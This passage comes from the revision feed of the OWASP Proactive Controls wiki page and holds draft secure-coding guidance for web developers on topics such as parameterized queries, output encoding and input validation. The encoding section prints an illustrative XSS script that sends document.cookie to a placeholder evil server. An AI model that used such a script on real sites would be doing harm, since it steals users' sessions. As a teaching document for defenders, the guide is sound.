&lt;br /&gt;
February 3, 2014: We are currently working towards a beta release of this document and have begun working with a designer for the final release PDF.&lt;br /&gt;
&lt;br /&gt;
= Who are we? =&lt;br /&gt;
&lt;br /&gt;
Jim Manico jim@owasp.org&amp;lt;br/&amp;gt;&lt;br /&gt;
Andrew Van Der Stock vanderaj@owasp.org&amp;lt;br/&amp;gt;&lt;br /&gt;
Stephen de Vries stephen@continuumsecurity.net&amp;lt;br/&amp;gt;&lt;br /&gt;
Jim Bird jimbird@shaw.ca&amp;lt;br/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= About =&lt;br /&gt;
{{:Projects/OWASP_Proactive_Controls}} &lt;br /&gt;
&lt;br /&gt;
__NOTOC__ &amp;lt;headertabs /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[Category:OWASP_Project|OWASP Proactive Controls]]&lt;/div&gt;</summary>
		<author><name>Jim Bird</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=OWASP_Proactive_Controls&amp;diff=169949</id>
		<title>OWASP Proactive Controls</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=OWASP_Proactive_Controls&amp;diff=169949"/>
				<updated>2014-03-11T19:41:46Z</updated>
		
		<summary type="html">&lt;p&gt;Jim Bird: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Main = &lt;br /&gt;
&amp;lt;div style=&amp;quot;width:100%;height:160px;border:0,margin:0;overflow: hidden;&amp;quot;&amp;gt;[[File:OWASP_Project_Header.jpg|link=]]&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{| style=&amp;quot;padding: 0;margin:0;margin-top:10px;text-align:left;&amp;quot; |-&lt;br /&gt;
| valign=&amp;quot;top&amp;quot;  style=&amp;quot;border-right: 1px dotted gray;padding-right:25px;&amp;quot; |&lt;br /&gt;
&lt;br /&gt;
== OWASP Proactive Controls ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;center&amp;gt;[[Image:Proactive.png‎|500px|frameless|architecture]]&amp;lt;/center&amp;gt;&lt;br /&gt;
&lt;br /&gt;
As software developers author the code that makes up a web application, they need to do so in a secure manner. All tiers of a web application, the user interface, the business logic, the controller, the database code and more – all need to be developed with security in mind. This can be a very difficult task and developers are often set up for failure. Most developers did not learn about secure coding or crypto in school. The languages and frameworks that developers use to build web applications are often lacking critical core controls or are insecure by default in some way. There may be inherent flaws in requirements and designs. It is also very rare when organizations provide developers with prescriptive requirements that guide them down the path of secure software. When it comes to web security, developers are often set up to lose the security game. &lt;br /&gt;
&lt;br /&gt;
This document was written by developers for developers, to assist those new to secure development.  It aims to guide developers and other software development professionals down the path of secure web application software development.&lt;br /&gt;
&lt;br /&gt;
==Licensing==&lt;br /&gt;
The OWASP Proactive Controls document is free to use under the [https://creativecommons.org/licenses/by-sa/3.0/us/ Creative Commons ShareAlike 3 License].&lt;br /&gt;
&lt;br /&gt;
| valign=&amp;quot;top&amp;quot;  style=&amp;quot;padding-left:25px;width:200px;border-right: 1px dotted gray;padding-right:25px;&amp;quot; |&lt;br /&gt;
&lt;br /&gt;
== What is this? ==&lt;br /&gt;
&lt;br /&gt;
The OWASP Proactive Controls&lt;br /&gt;
&lt;br /&gt;
* This document was written by developers for developers, to assist those new to secure development.&lt;br /&gt;
&lt;br /&gt;
== Email List ==&lt;br /&gt;
&lt;br /&gt;
[https://lists.owasp.org/mailman/listinfo/owasp_proactive_controls Project Email List ]&lt;br /&gt;
&lt;br /&gt;
== Project Leader ==&lt;br /&gt;
&lt;br /&gt;
Project Leaders:&amp;lt;br/&amp;gt;Jim Manico&amp;lt;br/&amp;gt;&lt;br /&gt;
Andrew Van Der Stock&amp;lt;br/&amp;gt;&lt;br /&gt;
Jim Bird&amp;lt;br/&amp;gt;&lt;br /&gt;
&amp;lt;br/&amp;gt;&lt;br /&gt;
Contributors: &amp;lt;br/&amp;gt;&lt;br /&gt;
Stephen de Vries&lt;br /&gt;
&lt;br /&gt;
== Related Projects ==&lt;br /&gt;
&lt;br /&gt;
* [[OWASP Top Ten Project]]&lt;br /&gt;
* [[Cheat Sheets]]&lt;br /&gt;
&lt;br /&gt;
| valign=&amp;quot;top&amp;quot;  style=&amp;quot;padding-left:25px;width:200px;&amp;quot; |&lt;br /&gt;
&lt;br /&gt;
== News and Events ==&lt;br /&gt;
* [Feb 4 2014] New Wiki Template!&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Classifications==&lt;br /&gt;
&lt;br /&gt;
   {| width=&amp;quot;200&amp;quot; cellpadding=&amp;quot;2&amp;quot;&lt;br /&gt;
   |-&lt;br /&gt;
   | align=&amp;quot;center&amp;quot; valign=&amp;quot;top&amp;quot; width=&amp;quot;50%&amp;quot; rowspan=&amp;quot;2&amp;quot;| [[File:Owasp-incubator-trans-85.png|link=https://www.owasp.org/index.php/OWASP_Project_Stages#tab=Incubator_Projects]]&lt;br /&gt;
   | align=&amp;quot;center&amp;quot; valign=&amp;quot;top&amp;quot; width=&amp;quot;50%&amp;quot;| [[File:Owasp-builders-small.png|link=]]  &lt;br /&gt;
   |-&lt;br /&gt;
   | align=&amp;quot;center&amp;quot; valign=&amp;quot;top&amp;quot; width=&amp;quot;50%&amp;quot;| [[File:Owasp-defenders-small.png|link=]]&lt;br /&gt;
   |-&lt;br /&gt;
   | colspan=&amp;quot;2&amp;quot; align=&amp;quot;center&amp;quot;  | [https://creativecommons.org/licenses/by-sa/3.0/us/ CC BY-SA 3.0 US]&lt;br /&gt;
   |-&lt;br /&gt;
   | colspan=&amp;quot;2&amp;quot; align=&amp;quot;center&amp;quot;  | [[File:Project_Type_Files_DOC.jpg|link=]]&lt;br /&gt;
   |}&lt;br /&gt;
&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
= OWASP Top Ten Proactive Controls =&lt;br /&gt;
&lt;br /&gt;
As software developers author the code that makes up a web application, they need to do so in a secure manner. All tiers of a web application, the user interface, the business logic, the controller, the database code and more – all need to be developed with security in mind. This can be a very difficult task and developers are often set up for failure. Most developers did not learn about secure coding or crypto in school. The languages and frameworks that developers use to build web applications are often lacking critical core controls or are insecure by default in some way. There may be inherent flaws in requirements and designs. It is also very rare when organizations provide developers with prescriptive requirements that guide them down the path of secure software. When it comes to web security, developers are often set up to lose the security game. &lt;br /&gt;
&lt;br /&gt;
This document was written by developers for developers, to assist those new to secure development.  It aims to guide developers and other software development professionals down the path of secure web application software development.&lt;br /&gt;
&lt;br /&gt;
There are more than 10 issues that developers need to be aware of.  Some of these “top ten” controls will be very specific, others will be general categories. Some of these items are technical, others are process based. Some may argue that this document includes items that are not even controls at all. All of these concerns are fair. Again, this is an awareness document meant for those new to secure software development. It is a start, not an end.&lt;br /&gt;
 &lt;br /&gt;
The number of people who influenced or contributed to this document in some way is to numerous to mentioned. I would like to especially thank Andrew van der Stock for starting this project. I would also like to thank the entire [[Cheat Sheets]] series team whose content has been pulled from liberally for this document.  &lt;br /&gt;
&lt;br /&gt;
Introducing the OWASP Top Ten and one half Proactive Controls 2014. &lt;br /&gt;
&lt;br /&gt;
== 1) Query Parameterization ==&lt;br /&gt;
&lt;br /&gt;
SQL Injection is perhaps one of the most dangerous web application risks due to the fact that SQL Injection is both easy to exploit and can deliver an impact to your application that is devastating.&lt;br /&gt;
&lt;br /&gt;
The simple insertion of malicious SQL code into your web application – and the entire database could potentially be stolen, wiped, modified. The web application can even be used to run dangerous operating system commands against the operating system hosting your database.   &lt;br /&gt;
&lt;br /&gt;
To stop SQL injection, developers must prevent untrusted input from being interpreted as part of a SQL command. The best way to do this is with the programming technique known as Query Parameterization.&lt;br /&gt;
&lt;br /&gt;
Here is an example of query parameterization  Parameterization  in Java:&lt;br /&gt;
&lt;br /&gt;
 String newName = request.getParameter(&amp;quot;newName&amp;quot;);&lt;br /&gt;
 String id = request.getParameter(&amp;quot;id&amp;quot;);&lt;br /&gt;
 PreparedStatement pstmt = con.prepareStatement(&amp;quot;UPDATE EMPLOYEES SET NAME = ? WHERE ID = ?&amp;quot;);  &lt;br /&gt;
 pstmt.setString(1, newName); &lt;br /&gt;
 pstmt.setString(2, id);&lt;br /&gt;
&lt;br /&gt;
Here is an example of query parameterization in PHP:&lt;br /&gt;
&lt;br /&gt;
 $email  = $_REQUEST[‘email’];&lt;br /&gt;
 $ id’= $_REQUEST[‘id’];&lt;br /&gt;
 $stmt = $dbh-&amp;gt;prepare(”update users set email=:new_email where id=:user_id”); &lt;br /&gt;
 $stmt-&amp;gt;bindParam(':new_email', $email);&lt;br /&gt;
 $stmt-&amp;gt;bindParam(':user_id', $id);&lt;br /&gt;
&lt;br /&gt;
For more information, please see the [[Query Parameterization Cheat Sheet]].&lt;br /&gt;
&lt;br /&gt;
== 2) Encoding ==&lt;br /&gt;
&lt;br /&gt;
A key component of a web application is the user interface. Web developers often build web pages dynamically, consisting of database data that was originally populated with user input. This input should often be considered to be untrusted data and dangerous, which requires special handling when building a secure web application.&lt;br /&gt;
&lt;br /&gt;
Cross Site Scripting (XSS) or, to give it its proper definition, JavaScript injection, occurs when an attacker tricks your users into executing malicious JavaScript that was not originally built into your website.  XSS attacks execute in users browsers and can have a wide variety of effects. &lt;br /&gt;
&lt;br /&gt;
For example:&lt;br /&gt;
&lt;br /&gt;
XSS site defacement:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;script&amp;gt;document.body.innerHTML(“Jim was here”);&amp;lt;/script&amp;gt;&lt;br /&gt;
&lt;br /&gt;
XSS session theft:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;script&amp;gt;&lt;br /&gt;
 var img = new Image();&lt;br /&gt;
 img.src=&amp;amp;quot;hxxp://&amp;lt;some evil server&amp;gt;.com?” + document.cookie;&lt;br /&gt;
 &amp;lt;/script&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Persistent XSS (or Stored XSS) occurs when an XSS attack can be embedded in a website database or filesystem.  This flavor of XSS is more dangerous because users will already be logged into the site when the attack is executed. &lt;br /&gt;
&lt;br /&gt;
Reflected XSS occurs when the attacker places an XSS attack at the end of a URL and tricks a victim into visiting that URL. When a victim visits this URL, the XSS attack is launched.  This type of XSS is less dangerous since the victim needs to be tricked into visiting the dangerous link and must already be logged into the site.&lt;br /&gt;
&lt;br /&gt;
Contextual output encoding/escaping is a crucial programming technique needed to stop XSS. This is performed on output, when you’re building a user interface, at the last moment before untrusted data is dynamically added to HTML.&lt;br /&gt;
&lt;br /&gt;
For more information on stopping XSS in your web application, please visit the OWASP Cross Site Scripting Prevention Cheat Sheet. https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet&lt;br /&gt;
&lt;br /&gt;
== 3) Validation ==&lt;br /&gt;
&lt;br /&gt;
One of the most important ways to build a secure web application is to limit what input a user is allowed to submit to your web application. Limiting user input is a technique called “input validation”. Input validation is most often built into web applications in server-side code using regular expressions. Regular expressions are a kind of code syntax that can help tell if a string matches a certain pattern. Secure programmers can use regular expressions to help define what good user input should look like.&lt;br /&gt;
	&lt;br /&gt;
There are two types on input validation: “White list validation and blacklist validation”. White list validation seeks to define what good input should look like.  Any input that does not meet this “good input” definition should be rejected. “Black list” validation seeks to detect known attacks and only reject those attacks or bad characters. “Black list” validation is much more difficult to build into your applications effectively and is not often suggested when initially building a secure web application. The following examples will focus on whitelist validation examples.&lt;br /&gt;
&lt;br /&gt;
When a user first registers for an account with our web application, some of the first things we ask a user to provide for us would be a username, password and email address. If this input came from a malicious user, the input could contain dangerous attacks that could harm our web application! One of the ways we can make attacking this web application more difficult is to use regular expressions to validate the user input from this form.&lt;br /&gt;
&lt;br /&gt;
Also, it's critical to treat all client side data as untrusted. (we need to expand on this)&lt;br /&gt;
&lt;br /&gt;
Let’s start with the following regular expression for the username. &lt;br /&gt;
&lt;br /&gt;
 ^[a-z0-9_]{3,16}$&lt;br /&gt;
&lt;br /&gt;
This regular expression input validation whitelist of good characters only allows lowercase letters, numbers and the underscore character. The size of the username is also being limited to 3-16 characters in this example. &lt;br /&gt;
&lt;br /&gt;
Here is an example regular expression for the password field.&lt;br /&gt;
&lt;br /&gt;
 ^(?=.*[a-z])(?=.*[A-Z]) (?=.*\d) (?=.*[@#$%]).{10,64}$&lt;br /&gt;
&lt;br /&gt;
This regular expression ensures that a password is 10 to 64 characters in length and includes a uppercase letter, a lowercase letter, a number and a special character (one or more uses of @, #, $, or %).&lt;br /&gt;
&lt;br /&gt;
Here is an example regular expression for an email address (per the HTML5 specification http://www.w3.org/TR/html5/forms.html#valid-e-mail-address).&lt;br /&gt;
&lt;br /&gt;
 ^[a-zA-Z0-9.!#$%&amp;amp;'*+/=?^_`{|}~-]+@[a-zA-Z0-9-]+(?:\.[a-zA-Z0-9-]+)*$&lt;br /&gt;
&lt;br /&gt;
There are special cases for validation where regular expressions are not enough. If your application handles markup -- untrusted input that is supposed to contain HTML -- it can be very difficult to validate. Encoding is also difficult, since it would break all the tags that are supposed to be in the input. Therefore, you need a library that can parse and clean HTML formatted text such as the [[OWASP Java HTML Sanitizer]]. A regular expression is not the right tool to parse and sanitize untrusted HTML.&lt;br /&gt;
&lt;br /&gt;
Here we illustrate one of the unfortunate truisms about input validation: input validation does not necessarily make untrusted input “safe” especially when dealing with “open text input” where complete sentences from users need to be accepted.&lt;br /&gt;
&lt;br /&gt;
== 4) Access Control TODO JMANICO ==&lt;br /&gt;
&lt;br /&gt;
Authorization (Access Control) is the process where requests to access a particular resource should be granted or denied. It should be noted that authorization is not equivalent to authentication. These terms and their definitions are frequently confused.&lt;br /&gt;
&lt;br /&gt;
=== Access Control Issues===&lt;br /&gt;
&lt;br /&gt;
* Many applications used the &amp;quot;All or Nothing&amp;quot; approach - Once authenticated, all users have equal privileges&lt;br /&gt;
* Authorization Logic often relies on Security by Obscurity (STO) by assuming:&lt;br /&gt;
* Users will not find unlinked or hidden paths or functionality&lt;br /&gt;
* Users will not find and tamper with &amp;quot;obscured&amp;quot; client side parameters (i.e. &amp;quot;hidden&amp;quot; form fields, cookies, etc.)&lt;br /&gt;
* Applications with multiple permission levels/roles often increases the possibility of conflicting permission sets resulting in unanticipated privileges&lt;br /&gt;
* Many administrative interfaces require only a password for authentication&lt;br /&gt;
* Shared accounts combined with a lack of auditing and logging make it extremely difficult to differentiate between malicious and honest administrators&lt;br /&gt;
* Administrative interfaces are often not designed as “secure” as user-level interfaces given the assumption that administrators are trusted users&lt;br /&gt;
* Authorization/Access Control relies on client-side information (e.g., hidden fields)&lt;br /&gt;
* Web and application server processes run as root, Administrator, LOCALSYSTEM or other privileged accounts&lt;br /&gt;
* Some web applications access the database via sa or other administrative account (or more privileges than required)&lt;br /&gt;
* Some applications implement authorization controls by including a file or web control or code snippet on every page in the application&lt;br /&gt;
    &amp;lt;input type=&amp;quot;text&amp;quot; name=&amp;quot;fname&amp;quot; value=&amp;quot;Derek&amp;quot;&amp;gt;&lt;br /&gt;
    &amp;lt;input type=&amp;quot;text&amp;quot; name=&amp;quot;lname&amp;quot; value=&amp;quot;Jeter&amp;quot;&amp;gt;&lt;br /&gt;
    &amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;usertype&amp;quot; value=&amp;quot;admin&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Access Control Anti-Patterns ===&lt;br /&gt;
&lt;br /&gt;
* Hard-coded role checks in application code&lt;br /&gt;
* Lack of centralized access control logic&lt;br /&gt;
* Untrusted data driving access control decisions&lt;br /&gt;
* Access control that is &amp;quot;open by default&amp;quot;&lt;br /&gt;
* Lack of addressing horizontal access control in a standardized way (if at all)&lt;br /&gt;
* Access control logic that needs to be manually added to every endpoint in code&lt;br /&gt;
* non-anonymous entry point DO NOT have an access control check&lt;br /&gt;
* No authorization check at or near the beginning of code implementing sensitive activities&lt;br /&gt;
&lt;br /&gt;
For more information on access control, please see the [[Access Control Cheat Sheet]].&lt;br /&gt;
&lt;br /&gt;
== 5) Identity and Authentication ==&lt;br /&gt;
&lt;br /&gt;
Authentication is the process of verification that an individual or an entity is who it claims to be. Authentication is commonly performed by submitting a user name or ID and one or more items of private information that only a given user should know.&lt;br /&gt;
&lt;br /&gt;
Session Management is a process by which a server maintains the state of an entity interacting with it. This is required for a server to remember how to react to subsequent requests throughout a transaction. Sessions are maintained on the server by a session identifier which can be passed back and forward between the client and server when transmitting and receiving requests. Sessions should be unique per user and computationally very difficult to predict.&lt;br /&gt;
&lt;br /&gt;
Identity management is a broader topic that not only includes authentication and session management, but also covers advanced topics like identity federation, single sign on, password-management tools, identity repositories and more.&lt;br /&gt;
&lt;br /&gt;
For more information, please see the [[Authentication Cheat Sheet]], the [[Password Storage Cheat Sheet]], the [[Forgot Password Cheat Sheet]] and the [[Session Management Cheat Sheet]].&lt;br /&gt;
&lt;br /&gt;
== 6) Data Protection and Privacy ==&lt;br /&gt;
&lt;br /&gt;
=== Encryption in Transit ===&lt;br /&gt;
&lt;br /&gt;
When transmitting sensitive data, at any tier of your application or network architecture, encryption-in-transit of some kind should be considered. SSL/TLS is by far the most common and widely supported model used by web applications for encryption in transit. &lt;br /&gt;
&lt;br /&gt;
For more information on proper SSL/TLS configuration, please see the [[Transport Layer Protection Cheat Sheet]]. For information on protecting your users from man in the middle attacks via fraudulent SSL certificates, please see the [[Pinning Cheat Sheet]].&lt;br /&gt;
&lt;br /&gt;
=== Encryption at Rest TODO JMANICO===&lt;br /&gt;
&lt;br /&gt;
#1 forced to encrypt data via standards like PCI&lt;br /&gt;
#2 doing low level crypto by hand leads to bad crypto&lt;br /&gt;
#3 user well vetted libraries like KeyCzar&lt;br /&gt;
#4 key management a bear&lt;br /&gt;
#5 tiering and trust - crypto services vs embedding crypto at the app layer&lt;br /&gt;
#6 symmetric/asymmetric encryption&lt;br /&gt;
#7 weirdness of password strorage crypto (punt to the CS)&lt;br /&gt;
#8 digital signatures&lt;br /&gt;
#9 it's also important to ensure sensitive data is not cached in the browser. cache-control settings?&lt;br /&gt;
#10 For more information on low level decisions necessary when encrypting data at rest, please see the [[Cryptographic Storage Cheat Sheet]].&lt;br /&gt;
&lt;br /&gt;
=== Protection in Process ===&lt;br /&gt;
&lt;br /&gt;
Data can be exposed during processing. It may be more accessible in memory; it may be stored in temporary locations or in logs.&lt;br /&gt;
&lt;br /&gt;
== 7) Logging, Error Handling and Intrusion Detection TODO JIMBIRD ==&lt;br /&gt;
&lt;br /&gt;
Application logging should be consistent within the application, consistent across an organization's application portfolio and use industry standards where relevant, so the logged event data can be consumed, correlated, analyzed and managed by a wide variety of systems.&lt;br /&gt;
&lt;br /&gt;
Application logging should be always be included for security events. Application logs are invaluable data for:&lt;br /&gt;
&lt;br /&gt;
* Identifying security incidents&lt;br /&gt;
* Monitoring policy violations&lt;br /&gt;
* Establishing baselines&lt;br /&gt;
* Providing information about problems and unusual conditions&lt;br /&gt;
* Contributing additional application-specific data for incident investigation which is lacking in other log sources&lt;br /&gt;
* Helping defend against vulnerability identification and exploitation through attack detection&lt;br /&gt;
&lt;br /&gt;
Application logging might also be used to record other types of events too such as:&lt;br /&gt;
&lt;br /&gt;
* Security events&lt;br /&gt;
* Business process monitoring e.g. sales process abandonment, transactions, connections&lt;br /&gt;
* Audit trails e.g. data addition, modification and deletion, data exports&lt;br /&gt;
* Performance monitoring e.g. data load time, page timeouts&lt;br /&gt;
* Compliance monitoring&lt;br /&gt;
* Data for subsequent requests for information e.g. data subject access, freedom of information, litigation, police and other regulatory investigations&lt;br /&gt;
* Legally sanctioned interception of data e.g application-layer wire-tapping&lt;br /&gt;
* Other business-specific requirements&lt;br /&gt;
&lt;br /&gt;
Process monitoring, audit and transaction logs/trails etc are usually collected for different purposes than security event logging, and this often means they should be kept separate. The types of events and details collected will tend to be different. For example a PCIDSS audit log will contain a chronological record of activities to provide an independently verifiable trail that permits reconstruction, review and examination to determine the original sequence of attributable transactions. It is important not to log too much, or too little. Use knowledge of the intended purposes to guide what, when and how much.&lt;br /&gt;
&lt;br /&gt;
For more information, please see the [[Logging Cheat Sheet]].&lt;br /&gt;
&lt;br /&gt;
The AppSensor project defines a conceptual framework and methodology that offers prescriptive guidance to implement intrusion detection and automated response into an existing application. For more information please see the [[OWASP AppSensor Project]].&lt;br /&gt;
&lt;br /&gt;
TODO: Log Injection&lt;br /&gt;
&lt;br /&gt;
JIM BIRD: Talks about logging of “security events” but doesn’t explain or give examples of what a security event is. Reminder to obey privacy/confidentiality requirements – do not log private/confidential information Maybe should include something brief about protection from log injection (reminder to perform validation/encoding on user input fields that are logged)&lt;br /&gt;
&lt;br /&gt;
== 8) Leverage Security Features of Frameworks and Security Libraries ==&lt;br /&gt;
&lt;br /&gt;
Starting from scratch when it comes to developing security controls for every web application, web service or mobile application leads to wasted time and massive security holes. Secure coding libraries help software developers guard against security-related design and implementation flaws.&lt;br /&gt;
&lt;br /&gt;
When possible, the emphasis should be on using the existing features of frameworks rather than importing third party libraries. It is preferable to have developers take advantage of what they're already using instead of foisting yet another library on them. Web application security frameworks to consider include:&lt;br /&gt;
&lt;br /&gt;
* Spring Security : [http://static.springsource.org/spring-security/site/index.html]&lt;br /&gt;
* Apache Shiro : [http://shiro.apache.org/ http://shiro.apache.org/]&lt;br /&gt;
* OWASP ESAPI : [https://www.owasp.org/index.php/Category:OWASP_Enterprise_Security_API https://www.owasp.org/index.php/Category:OWASP_Enterprise_Security_API]&lt;br /&gt;
&lt;br /&gt;
It is critical to keep these frameworks and libraries up to date as described in the [https://www.owasp.org/index.php/Top_10_2013-A9-Using_Components_with_Known_Vulnerabilities &amp;lt;i&amp;gt;using components with known vulnerabilities&amp;lt;/i&amp;gt; Top Ten 2013 risk].&lt;br /&gt;
&lt;br /&gt;
== 9) Security in Requirements ==&lt;br /&gt;
&lt;br /&gt;
There are three basic categories of security requirements that can be defined early-on in a software development project.  These include:&lt;br /&gt;
&lt;br /&gt;
1) '''Security Features and Functions''': the visible application security controls for the system, including authentication, access control and auditing functions. These requirements are often defined by use-cases which include input, behavior and output, and can be tested for functional correctness by Q/A staff.  Functional requirements like re-authentication during change password or a forgot password feature can be reviewed and tested by Q/A staff. &lt;br /&gt;
&lt;br /&gt;
2) '''Business Logic Abuse Cases''':  Business logic features are often multi-step multi-branch workflows that are difficult to evaluate thoroughly, for example eCommerce workflows, shipping route choices, or banking transfer validation. The stories or use cases for these requirements should include failure scenarios (what happens if a step fails or times out or if someone accidentally repeats a step?) and requirements derived from &amp;quot;abuse-cases&amp;quot;.  Abuse cases describe how the application's functions could be subverted by attackers. Thinking about failures and attack scenarios will uncover weaknesses that need to be addressed to improve the reliability and security of the application.&lt;br /&gt;
&lt;br /&gt;
3) '''Data Classification and Privacy Requirements''': developers must be aware of what personal and confidential information needs to be protected and tracked. This will drive the need for access control, encryption and auditing and logging controls in the system.&lt;br /&gt;
&lt;br /&gt;
== 10) Security in Architecture and Design ==&lt;br /&gt;
&lt;br /&gt;
Security needs to be considered in the architecture and design of the application.&lt;br /&gt;
&lt;br /&gt;
1) '''Know your Tools''': Your choice of language(s) and platform (O/S, web server, messaging, database or NOSQL data manager) will result in technology-specific security risks and considerations that the development team needs to understand and manage.&lt;br /&gt;
&lt;br /&gt;
2) '''Tiering, Trust and Dependencies''': Another important part of secure architecture and design is tiering and trust. Deciding what controls should be enforced in the client, the web layer, the business layer, the data layer, and where you need to establish trust between different systems or different parts of the same system. Understand these trust boundaries: what is inside or outside of a trust boundary, what actors or data can be trusted, what should not be? This determines where you need to make decisions about authentication, access control, data validation and encoding, encryption and logging.&lt;br /&gt;
&lt;br /&gt;
3) '''Understand the Attack Surface''': Be aware of the system's Attack Surface, the ways that attackers can get in, or get data out, of the system. Recognize when you are increasing the Attack Surface, and take &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
= Project Roadmap =&lt;br /&gt;
&lt;br /&gt;
Welcome to the OWASP Top 10 Proactive Controls Project! This project is the comprehensive reference for all OWASP projects and application security in general. All of the materials here are free and open source. &lt;br /&gt;
&lt;br /&gt;
== Status ==&lt;br /&gt;
&lt;br /&gt;
February 3, 2014: We are currently working towards a beta release of this document and have begun working with a designer for the final release PDF.&lt;br /&gt;
&lt;br /&gt;
= Who are we? =&lt;br /&gt;
&lt;br /&gt;
Jim Manico jim@owasp.org&amp;lt;br/&amp;gt;&lt;br /&gt;
Andrew Van Der Stock vanderaj@owasp.org&amp;lt;br/&amp;gt;&lt;br /&gt;
Stephen de Vries stephen@continuumsecurity.net&amp;lt;br/&amp;gt;&lt;br /&gt;
Jim Bird jimbird@shaw.ca&amp;lt;br/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= About =&lt;br /&gt;
{{:Projects/OWASP_Proactive_Controls}} &lt;br /&gt;
&lt;br /&gt;
__NOTOC__ &amp;lt;headertabs /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[Category:OWASP_Project|OWASP Proactive Controls]]&lt;/div&gt;</summary>
		<author><name>Jim Bird</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=OWASP_Proactive_Controls&amp;diff=169946</id>
		<title>OWASP Proactive Controls</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=OWASP_Proactive_Controls&amp;diff=169946"/>
				<updated>2014-03-11T17:38:57Z</updated>
		
		<summary type="html">&lt;p&gt;Jim Bird: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Main = &lt;br /&gt;
&amp;lt;div style=&amp;quot;width:100%;height:160px;border:0,margin:0;overflow: hidden;&amp;quot;&amp;gt;[[File:OWASP_Project_Header.jpg|link=]]&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{| style=&amp;quot;padding: 0;margin:0;margin-top:10px;text-align:left;&amp;quot; |-&lt;br /&gt;
| valign=&amp;quot;top&amp;quot;  style=&amp;quot;border-right: 1px dotted gray;padding-right:25px;&amp;quot; |&lt;br /&gt;
&lt;br /&gt;
== OWASP Proactive Controls ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;center&amp;gt;[[Image:Proactive.png‎|500px|frameless|architecture]]&amp;lt;/center&amp;gt;&lt;br /&gt;
&lt;br /&gt;
As software developers author the code that makes up a web application, they need to do so in a secure manner. All tiers of a web application, the user interface, the business logic, the controller, the database code and more – all need to be developed with security in mind. This can be a very difficult task and developers are often set up for failure. Most developers did not learn about secure coding or crypto in school. The languages and frameworks that developers use to build web applications are often lacking critical core controls or are insecure by default in some way. There may be inherent flaws in requirements and designs. It is also very rare when organizations provide developers with prescriptive requirements that guide them down the path of secure software. When it comes to web security, developers are often set up to lose the security game. &lt;br /&gt;
&lt;br /&gt;
This document was written by developers for developers, to assist those new to secure development.  It aims to guide developers and other software development professionals down the path of secure web application software development.&lt;br /&gt;
&lt;br /&gt;
==Licensing==&lt;br /&gt;
The OWASP Proactive Controls document is free to use under the [https://creativecommons.org/licenses/by-sa/3.0/us/ Creative Commons ShareAlike 3 License].&lt;br /&gt;
&lt;br /&gt;
| valign=&amp;quot;top&amp;quot;  style=&amp;quot;padding-left:25px;width:200px;border-right: 1px dotted gray;padding-right:25px;&amp;quot; |&lt;br /&gt;
&lt;br /&gt;
== What is this? ==&lt;br /&gt;
&lt;br /&gt;
The OWASP Proactive Controls&lt;br /&gt;
&lt;br /&gt;
* This document was written by developers for developers, to assist those new to secure development.&lt;br /&gt;
&lt;br /&gt;
== Email List ==&lt;br /&gt;
&lt;br /&gt;
[https://lists.owasp.org/mailman/listinfo/owasp_proactive_controls Project Email List ]&lt;br /&gt;
&lt;br /&gt;
== Project Leader ==&lt;br /&gt;
&lt;br /&gt;
Project Leaders:&amp;lt;br/&amp;gt;Jim Manico&amp;lt;br/&amp;gt;&lt;br /&gt;
Andrew Van Der Stock&amp;lt;br/&amp;gt;&lt;br /&gt;
Jim Bird&amp;lt;br/&amp;gt;&lt;br /&gt;
&amp;lt;br/&amp;gt;&lt;br /&gt;
Contributors: &amp;lt;br/&amp;gt;&lt;br /&gt;
Stephen de Vries&lt;br /&gt;
&lt;br /&gt;
== Related Projects ==&lt;br /&gt;
&lt;br /&gt;
* [[OWASP Top Ten Project]]&lt;br /&gt;
* [[Cheat Sheets]]&lt;br /&gt;
&lt;br /&gt;
| valign=&amp;quot;top&amp;quot;  style=&amp;quot;padding-left:25px;width:200px;&amp;quot; |&lt;br /&gt;
&lt;br /&gt;
== News and Events ==&lt;br /&gt;
* [Feb 4 2014] New Wiki Template!&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Classifications==&lt;br /&gt;
&lt;br /&gt;
   {| width=&amp;quot;200&amp;quot; cellpadding=&amp;quot;2&amp;quot;&lt;br /&gt;
   |-&lt;br /&gt;
   | align=&amp;quot;center&amp;quot; valign=&amp;quot;top&amp;quot; width=&amp;quot;50%&amp;quot; rowspan=&amp;quot;2&amp;quot;| [[File:Owasp-incubator-trans-85.png|link=https://www.owasp.org/index.php/OWASP_Project_Stages#tab=Incubator_Projects]]&lt;br /&gt;
   | align=&amp;quot;center&amp;quot; valign=&amp;quot;top&amp;quot; width=&amp;quot;50%&amp;quot;| [[File:Owasp-builders-small.png|link=]]  &lt;br /&gt;
   |-&lt;br /&gt;
   | align=&amp;quot;center&amp;quot; valign=&amp;quot;top&amp;quot; width=&amp;quot;50%&amp;quot;| [[File:Owasp-defenders-small.png|link=]]&lt;br /&gt;
   |-&lt;br /&gt;
   | colspan=&amp;quot;2&amp;quot; align=&amp;quot;center&amp;quot;  | [https://creativecommons.org/licenses/by-sa/3.0/us/ CC BY-SA 3.0 US]&lt;br /&gt;
   |-&lt;br /&gt;
   | colspan=&amp;quot;2&amp;quot; align=&amp;quot;center&amp;quot;  | [[File:Project_Type_Files_DOC.jpg|link=]]&lt;br /&gt;
